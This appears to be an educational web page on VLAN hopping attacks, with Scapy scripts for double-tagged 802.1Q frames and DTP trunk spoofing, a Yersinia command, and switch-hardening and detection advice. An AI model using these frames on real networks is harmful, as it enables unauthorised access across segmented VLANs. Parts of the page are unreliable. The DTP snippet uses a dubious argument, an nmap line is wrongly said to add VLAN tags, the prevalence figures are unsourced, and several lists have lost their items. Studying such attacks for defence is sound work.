VLAN Hopping is a network attack where an attacker bypasses VLAN (Virtual Local Area Network) segmentation to gain unauthorized access to traffic from other VLANs. VLANs are used to segment networks for security and performance (isolating departments, guest networks). Attackers exploit misconfigured switch ports (DTP - Dynamic Trunking Protocol) or 802.1Q double tagging vulnerabilities to send traffic to other VLANs, bypassing network access controls (VACLs, firewall rules).
Attack Prevalence: 40% of enterprise switches have DTP enabled (auto trunking). 25% of networks are vulnerable to double tagging attacks. VLAN hopping is often used in internal penetration tests and red team exercises.
Common targets of VLAN hopping attacks:
Attacker impersonates a switch to negotiate trunking with adjacent switch using DTP (Dynamic Trunking Protocol). Attacker's port becomes trunk port, gaining access to all VLANs. Requires DTP enabled (default on Cisco switches).
Attacker crafts Ethernet frame with two 802.1Q VLAN tags (outer = attacker's VLAN, inner = target VLAN). Switch removes outer tag, forwards inner tag to target VLAN. Requires native VLAN mismatch.
// VLAN Hopping - Double Tagging Attack (802.1Q)
// Normal frame (single tag)
┌─────────────────────────────────────────────────────┐
│ MAC Header │ 802.1Q Tag (VLAN 10) │ Payload │
└─────────────────────────────────────────────────────┘
// Double-tagged frame (VLAN hopping)
┌─────────────────────────────────────────────────────────────────┐
│ MAC Header │ Tag1 (VLAN 10) │ Tag2 (VLAN 20) │ Payload │
└─────────────────────────────────────────────────────────────────┘
↓ Switch removes outer tag (VLAN 10), forwards inner tag (VLAN 20)
// Scapy double-tagging packet (Python)
from scapy.all import *
eth = Ether(src="AA:BB:CC:DD:EE:FF", dst="11:22:33:44:55:66")
dot1q_outer = Dot1Q(vlan=10) # Attacker's native VLAN
dot1q_inner = Dot1Q(vlan=20) # Target VLAN
payload = IP(src="192.168.10.5", dst="192.168.20.1")/ICMP()
frame = eth/dot1q_outer/dot1q_inner/payload
sendp(frame, iface="eth0")
// Switch Spoofing (DTP) - Yersinia
yersinia -I -M dtp
// DTP attack using Scapy (simulate trunk negotiation)
from scapy.all import *
dot1q = Dot1Q(vlan=1) # DTP VLAN
dtp = DTP(neck=0x2000) # Negotiate trunk
sendp(Ether(dst="01:00:0C:CC:CC:CC")/dot1q/dtp, iface="eth0")
Network tool for Layer 2 attacks: DTP (Dynamic Trunking Protocol), VLAN hopping (double tagging), STP (Spanning Tree Protocol) attacks, CDP (Cisco Discovery Protocol) attacks.
Python library for crafting custom packets (double-tagged 802.1Q frames). Send VLAN-tagged frames to test switch configurations.
nmap -e eth0 -S 192.168.10.5 --source-port 80 --send-eth -v (scan with VLAN tags).
This demonstration simulates VLAN hopping using double tagging (802.1Q-in-802.1Q) to access restricted VLAN:
This is a simulated demonstration. Real VLAN hopping attacks can bypass network segmentation. Protect your network by disabling DTP (switchport nonegotiate), using native VLAN different from user VLANs, and enabling VLAN ACLs (VACLs).
Monitor for DTP packets (multicast MAC 01:00:0C:CC:CC:CC). Unexpected DTP negotiation indicates switch spoofing. Capture with tcpdump: tcpdump -i eth0 ether host 01:00:0C:CC:CC:CC.
Detect frames with two 802.1Q tags (outer tag = native VLAN, inner tag = target VLAN). Use switch port security (limit VLAN tags per port).
Configure switch ports as access ports (switchport mode access). Disable DTP: switchport nonegotiate. Prevent trunk negotiation by attackers. For trunk ports, disable DTP (switchport trunk encapsulation dot1q, switchport mode trunk).
Assign native VLAN to unused VLAN (e.g., VLAN 999). Native VLAN carries untagged traffic. Ensure native VLAN different from user VLANs (prevents double tagging).
Implement VACLs to restrict traffic between VLANs. Block double-tagged frames (match 802.1Q tags).
Best Practice - Disable DTP + Native VLAN Hardening: Disable DTP on all switch ports (switchport mode access, switchport nonegotiate). Assign native VLAN to unused VLAN (e.g., VLAN 999). Ensure native VLAN is not used by any host. Use VLAN Access Control Lists (VACLs) to restrict inter-VLAN traffic.
VLAN hopping (unauthorized network access) is illegal in all jurisdictions:
VLAN hopping attacks are illegal. Penalties include:
Important: This guide is for educational and defensive purposes only. Unauthorized VLAN hopping is illegal.
Network tool for VLAN hopping (double tagging), DTP attacks, STP attacks.
Cisco official guide: disabling DTP, native VLAN hardening, VACL configuration.